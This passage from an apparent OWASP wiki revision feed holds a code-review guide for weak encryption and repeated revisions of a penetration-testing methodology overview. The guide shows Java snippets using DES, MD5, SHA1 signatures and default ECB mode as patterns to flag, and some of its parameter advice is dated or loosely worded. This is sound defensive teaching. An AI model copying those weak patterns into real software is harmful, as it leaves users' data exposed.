* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
* HMAC https://www.ietf.org/rfc/rfc2104.txt&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253626</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253626"/>
				<updated>2019-08-09T23:25:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.  &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot; or &amp;quot;Cipher.getInstance&amp;quot; , the ECB should not be used in symmetric encryption.&lt;br /&gt;
The mode of operation needs to be specified since the default will be &amp;quot;ECB&amp;quot; if not specified.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;) ;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;The following implementation will result in using the default &amp;quot;ECB&amp;quot; mode.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
* HMAC https://www.ietf.org/rfc/rfc2104.txt&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247683</id>
		<title>Penetration testing methodologies</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247683"/>
				<updated>2019-02-20T03:27:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
* OWASP testing guide&lt;br /&gt;
* PCI Penetration testing guide&lt;br /&gt;
* Penetration Testing Execution Standard&lt;br /&gt;
* NIST 800-115&lt;br /&gt;
* Penetration Testing Framework&lt;br /&gt;
* Information Systems Security Assessment Framework (ISSAF)&lt;br /&gt;
* Open Source Security Testing Methodology Manual (“OSSTMM”)&lt;br /&gt;
* FedRAMP Penetration Test Guidance&lt;br /&gt;
* CREST Penetration Testing Guide &lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Execution Standard (PTES) ==&lt;br /&gt;
PTES defines penetration testing as 7 phases.&lt;br /&gt;
&lt;br /&gt;
* Pre-engagement Interactions&lt;br /&gt;
* Intelligence Gathering&lt;br /&gt;
* Threat Modeling&lt;br /&gt;
* Vulnerability Analysis&lt;br /&gt;
* Exploitation&lt;br /&gt;
* Post Exploitation&lt;br /&gt;
* Reporting&lt;br /&gt;
&lt;br /&gt;
Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, the rationale of testing and recommended testing tools and usage. &lt;br /&gt;
&lt;br /&gt;
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
&lt;br /&gt;
== PCI Penetration testing guide ==&lt;br /&gt;
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.&lt;br /&gt;
PCI also defines Penetration Testing Guidance. &lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing guidance ===&lt;br /&gt;
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.&lt;br /&gt;
&lt;br /&gt;
* Penetration Testing Components&lt;br /&gt;
* Qualifications of a Penetration Tester&lt;br /&gt;
* Penetration Testing Methodologies&lt;br /&gt;
* Penetration Testing Reporting Guidelines&lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing Requirements ===&lt;br /&gt;
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3&lt;br /&gt;
* Based on industry-accepted approaches &lt;br /&gt;
* Coverage for CDE and critical systems &lt;br /&gt;
* Includes external and internal testing &lt;br /&gt;
* Test to validate scope reduction &lt;br /&gt;
* Application-layer testing &lt;br /&gt;
* Network-layer tests for network and OS&lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Framework ==&lt;br /&gt;
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes - &lt;br /&gt;
&lt;br /&gt;
* Network Footprinting (Reconnaissance)&lt;br /&gt;
* Discovery &amp;amp; Probing&lt;br /&gt;
* Enumeration&lt;br /&gt;
* Password cracking&lt;br /&gt;
* Vulnerability Assessment&lt;br /&gt;
* AS/400 Auditing&lt;br /&gt;
* Bluetooth Specific Testing&lt;br /&gt;
* Cisco Specific Testing&lt;br /&gt;
* Citrix Specific Testing&lt;br /&gt;
* Network Backbone&lt;br /&gt;
* Server Specific Tests&lt;br /&gt;
* VoIP Security&lt;br /&gt;
* Wireless Penetration&lt;br /&gt;
* Physical Security&lt;br /&gt;
* Final Report - template &lt;br /&gt;
&lt;br /&gt;
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
&lt;br /&gt;
== Technical Guide to Information Security Testing and Assessment (NIST800-115)==&lt;br /&gt;
&lt;br /&gt;
== Information Systems Security Assessment Framework (ISSAF) ==&lt;br /&gt;
&lt;br /&gt;
The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidance.  &lt;br /&gt;
&lt;br /&gt;
The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/ &lt;br /&gt;
&lt;br /&gt;
It covers the area below.&lt;br /&gt;
* Project Management&lt;br /&gt;
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment&lt;br /&gt;
* Assessment Methodology&lt;br /&gt;
* Review Of Information Security Policy And Security Organization&lt;br /&gt;
* Evaluation Of Risk Assessment Methodology&lt;br /&gt;
* Technical Control Assessment&lt;br /&gt;
* Technical Control Assessment - Methodology&lt;br /&gt;
* Password Security&lt;br /&gt;
* Password Cracking Strategies&lt;br /&gt;
* Unix /Linux System Security Assessment&lt;br /&gt;
* Windows System Security Assessment&lt;br /&gt;
* Novell Netware Security Assessment&lt;br /&gt;
* Database Security Assessment&lt;br /&gt;
* Wireless Security Assessment&lt;br /&gt;
* Switch Security Assessment&lt;br /&gt;
* Router Security Assessment&lt;br /&gt;
* Firewall Security Assessment&lt;br /&gt;
* Intrusion Detection System Security Assessment&lt;br /&gt;
* VPN Security Assessment&lt;br /&gt;
* Anti-Virus System Security Assessment And Management Strategy&lt;br /&gt;
* Web Application Security Assessment&lt;br /&gt;
* Storage Area Network (San) Security&lt;br /&gt;
* Internet User Security&lt;br /&gt;
* As 400 Security&lt;br /&gt;
* Source Code Auditing&lt;br /&gt;
* Binary Auditing&lt;br /&gt;
* Social Engineering&lt;br /&gt;
* Physical Security Assessment&lt;br /&gt;
* Incident Analysis&lt;br /&gt;
* Review Of Logging / Monitoring &amp;amp; Auditing Processes&lt;br /&gt;
* Business Continuity Planning And Disaster Recovery&lt;br /&gt;
* Security Awareness And Training&lt;br /&gt;
* Outsourcing Security Concerns&lt;br /&gt;
* Knowledge Base&lt;br /&gt;
* Legal Aspects Of Security Assessment Projects&lt;br /&gt;
* Non-Disclosure Agreement (NDA)&lt;br /&gt;
* Security Assessment Contract&lt;br /&gt;
* Request For Proposal Template&lt;br /&gt;
* Desktop Security Check-List - Windows&lt;br /&gt;
* Linux Security Check-List&lt;br /&gt;
* Solaris Operating System Security Check-List&lt;br /&gt;
* Default Ports - Firewall&lt;br /&gt;
* Default Ports – IDS/IPS&lt;br /&gt;
* Links&lt;br /&gt;
* Penetration Testing Lab Design&lt;br /&gt;
&lt;br /&gt;
== Open Source Security Testing Methodology Manual (OSSTMM) ==&lt;br /&gt;
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. &lt;br /&gt;
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.&lt;br /&gt;
&lt;br /&gt;
OSSTMM includes the following key sections:&lt;br /&gt;
** Operational Security Metrics&lt;br /&gt;
** Trust Analysis&lt;br /&gt;
** Work Flow.&lt;br /&gt;
** Human Security Testing&lt;br /&gt;
** Physical Security Testing&lt;br /&gt;
** Wireless Security Testing&lt;br /&gt;
** Telecommunications Security Testing&lt;br /&gt;
** Data Networks Security Testing&lt;br /&gt;
** Compliance Regulations&lt;br /&gt;
** Reporting with the STAR (Security Test Audit Report)&lt;br /&gt;
&lt;br /&gt;
== FedRAMP Penetration Test Guidance ==&lt;br /&gt;
To be updated&lt;br /&gt;
&lt;br /&gt;
==  CREST Penetration Testing Guide ==&lt;br /&gt;
&lt;br /&gt;
== Reference ==&lt;br /&gt;
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf&lt;br /&gt;
* http://www.pentest-standard.org/index.php/Main_Page&lt;br /&gt;
* http://www.isecom.org/research/osstmm.html&lt;br /&gt;
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf&lt;br /&gt;
* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf&lt;br /&gt;
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf&lt;br /&gt;
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf&lt;br /&gt;
* https://www.kali.org/&lt;br /&gt;
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
* https://sourceforge.net/projects/isstf/&lt;br /&gt;
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/&lt;br /&gt;
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf&lt;br /&gt;
* https://www.fedramp.gov/assets/resources/documents/CSP_Penetration_Test_Guidance.pdf&lt;br /&gt;
* https://www.crest-approved.org/wp-content/uploads/CREST-Penetration-Testing-Guide.pdf&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247681</id>
		<title>Penetration testing methodologies</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247681"/>
				<updated>2019-02-20T03:12:09Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
* OWASP testing guide&lt;br /&gt;
* PCI Penetration testing guide&lt;br /&gt;
* Penetration Testing Execution Standard&lt;br /&gt;
* NIST 800-115&lt;br /&gt;
* Penetration Testing Framework&lt;br /&gt;
* Information Systems Security Assessment Framework (ISSAF)&lt;br /&gt;
* Open Source Security Testing Methodology Manual (“OSSTMM”)&lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Execution Standard (PTES) ==&lt;br /&gt;
PTES defines penetration testing as 7 phases.&lt;br /&gt;
&lt;br /&gt;
* Pre-engagement Interactions&lt;br /&gt;
* Intelligence Gathering&lt;br /&gt;
* Threat Modeling&lt;br /&gt;
* Vulnerability Analysis&lt;br /&gt;
* Exploitation&lt;br /&gt;
* Post Exploitation&lt;br /&gt;
* Reporting&lt;br /&gt;
&lt;br /&gt;
Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, the rationale of testing and recommended testing tools and usage. &lt;br /&gt;
&lt;br /&gt;
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
&lt;br /&gt;
== PCI Penetration testing guide ==&lt;br /&gt;
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.&lt;br /&gt;
PCI also defines Penetration Testing Guidance. &lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing guidance ===&lt;br /&gt;
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.&lt;br /&gt;
&lt;br /&gt;
* Penetration Testing Components&lt;br /&gt;
* Qualifications of a Penetration Tester&lt;br /&gt;
* Penetration Testing Methodologies&lt;br /&gt;
* Penetration Testing Reporting Guidelines&lt;br /&gt;
&lt;br /&gt;
=== PCI DSS Penetration Testing Requirements ===&lt;br /&gt;
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3&lt;br /&gt;
* Based on industry-accepted approaches &lt;br /&gt;
* Coverage for CDE and critical systems &lt;br /&gt;
* Includes external and internal testing &lt;br /&gt;
* Test to validate scope reduction &lt;br /&gt;
* Application-layer testing &lt;br /&gt;
* Network-layer tests for network and OS&lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Framework ==&lt;br /&gt;
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes - &lt;br /&gt;
&lt;br /&gt;
* Network Footprinting (Reconnaissance)&lt;br /&gt;
* Discovery &amp;amp; Probing&lt;br /&gt;
* Enumeration&lt;br /&gt;
* Password cracking&lt;br /&gt;
* Vulnerability Assessment&lt;br /&gt;
* AS/400 Auditing&lt;br /&gt;
* Bluetooth Specific Testing&lt;br /&gt;
* Cisco Specific Testing&lt;br /&gt;
* Citrix Specific Testing&lt;br /&gt;
* Network Backbone&lt;br /&gt;
* Server Specific Tests&lt;br /&gt;
* VoIP Security&lt;br /&gt;
* Wireless Penetration&lt;br /&gt;
* Physical Security&lt;br /&gt;
* Final Report - template &lt;br /&gt;
&lt;br /&gt;
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
&lt;br /&gt;
== Technical Guide to Information Security Testing and Assessment (NIST800-115)==&lt;br /&gt;
&lt;br /&gt;
== Information Systems Security Assessment Framework (ISSAF) ==&lt;br /&gt;
&lt;br /&gt;
The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidance.  &lt;br /&gt;
&lt;br /&gt;
The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/ &lt;br /&gt;
&lt;br /&gt;
It covers the area below.&lt;br /&gt;
* Project Management&lt;br /&gt;
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment&lt;br /&gt;
* Assessment Methodology&lt;br /&gt;
* Review Of Information Security Policy And Security Organization&lt;br /&gt;
* Evaluation Of Risk Assessment Methodology&lt;br /&gt;
* Technical Control Assessment&lt;br /&gt;
* Technical Control Assessment - Methodology&lt;br /&gt;
* Password Security&lt;br /&gt;
* Password Cracking Strategies&lt;br /&gt;
* Unix /Linux System Security Assessment&lt;br /&gt;
* Windows System Security Assessment&lt;br /&gt;
* Novell Netware Security Assessment&lt;br /&gt;
* Database Security Assessment&lt;br /&gt;
* Wireless Security Assessment&lt;br /&gt;
* Switch Security Assessment&lt;br /&gt;
* Router Security Assessment&lt;br /&gt;
* Firewall Security Assessment&lt;br /&gt;
* Intrusion Detection System Security Assessment&lt;br /&gt;
* VPN Security Assessment&lt;br /&gt;
* Anti-Virus System Security Assessment And Management Strategy&lt;br /&gt;
* Web Application Security Assessment&lt;br /&gt;
* Storage Area Network (San) Security&lt;br /&gt;
* Internet User Security&lt;br /&gt;
* As 400 Security&lt;br /&gt;
* Source Code Auditing&lt;br /&gt;
* Binary Auditing&lt;br /&gt;
* Social Engineering&lt;br /&gt;
* Physical Security Assessment&lt;br /&gt;
* Incident Analysis&lt;br /&gt;
* Review Of Logging / Monitoring &amp;amp; Auditing Processes&lt;br /&gt;
* Business Continuity Planning And Disaster Recovery&lt;br /&gt;
* Security Awareness And Training&lt;br /&gt;
* Outsourcing Security Concerns&lt;br /&gt;
* Knowledge Base&lt;br /&gt;
* Legal Aspects Of Security Assessment Projects&lt;br /&gt;
* Non-Disclosure Agreement (NDA)&lt;br /&gt;
* Security Assessment Contract&lt;br /&gt;
* Request For Proposal Template&lt;br /&gt;
* Desktop Security Check-List - Windows&lt;br /&gt;
* Linux Security Check-List&lt;br /&gt;
* Solaris Operating System Security Check-List&lt;br /&gt;
* Default Ports - Firewall&lt;br /&gt;
* Default Ports – IDS/IPS&lt;br /&gt;
* Links&lt;br /&gt;
* Penetration Testing Lab Design&lt;br /&gt;
&lt;br /&gt;
== Open Source Security Testing Methodology Manual (OSSTMM) ==&lt;br /&gt;
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. &lt;br /&gt;
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.&lt;br /&gt;
&lt;br /&gt;
OSSTMM includes the following key sections:&lt;br /&gt;
** Operational Security Metrics&lt;br /&gt;
** Trust Analysis&lt;br /&gt;
** Work Flow.&lt;br /&gt;
** Human Security Testing&lt;br /&gt;
** Physical Security Testing&lt;br /&gt;
** Wireless Security Testing&lt;br /&gt;
** Telecommunications Security Testing&lt;br /&gt;
** Data Networks Security Testing&lt;br /&gt;
** Compliance Regulations&lt;br /&gt;
** Reporting with the STAR (Security Test Audit Report)&lt;br /&gt;
&lt;br /&gt;
== FedRAMP Penetration Test Guidance ==&lt;br /&gt;
To be updated&lt;br /&gt;
&lt;br /&gt;
== Reference ==&lt;br /&gt;
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf&lt;br /&gt;
* http://www.pentest-standard.org/index.php/Main_Page&lt;br /&gt;
* http://www.isecom.org/research/osstmm.html&lt;br /&gt;
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf&lt;br /&gt;
* http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf&lt;br /&gt;
* http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html&lt;br /&gt;
* https://www.owasp.org/images/0/04/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf&lt;br /&gt;
* http://www.mcafee.com/tw/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf&lt;br /&gt;
* https://www.kali.org/&lt;br /&gt;
* http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines&lt;br /&gt;
* https://sourceforge.net/projects/isstf/&lt;br /&gt;
* https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/&lt;br /&gt;
* https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf&lt;br /&gt;
* https://www.fedramp.gov/assets/resources/documents/CSP_Penetration_Test_Guidance.pdf&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247680</id>
		<title>Penetration testing methodologies</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Penetration_testing_methodologies&amp;diff=247680"/>
				<updated>2019-02-20T02:52:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Information Systems Security Assessment Framework (ISSAF) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
* OWASP testing guide&lt;br /&gt;
* PCI Penetration testing guide&lt;br /&gt;
* Penetration Testing Execution Standard&lt;br /&gt;
* NIST 800-115&lt;br /&gt;
* Penetration Testing Framework&lt;br /&gt;
* Information Systems Security Assessment Framework (ISSAF)&lt;br /&gt;
* Open Source Security Testing Methodology Manual (“OSSTMM”)&lt;br /&gt;
&lt;br /&gt;
== Penetration Testing Execution Standard (PTES) ==&lt;br /&gt;
PTES defines penetration testing as 7 phases.&lt;br /&gt;
&lt;br /&gt;
* Pre-engagement Interactions&lt;br /&gt;
* Intelligence Gathering&lt;br /&gt;
* Threat Modeling&lt;br /&gt;
* Vulnerability Analysis&lt;br /&gt;
* Exploitation&lt;br /&gt;
* Post Exploitation&lt;br /&gt;
* Reporting&lt;br /&gt;
&lt;br /&gt;
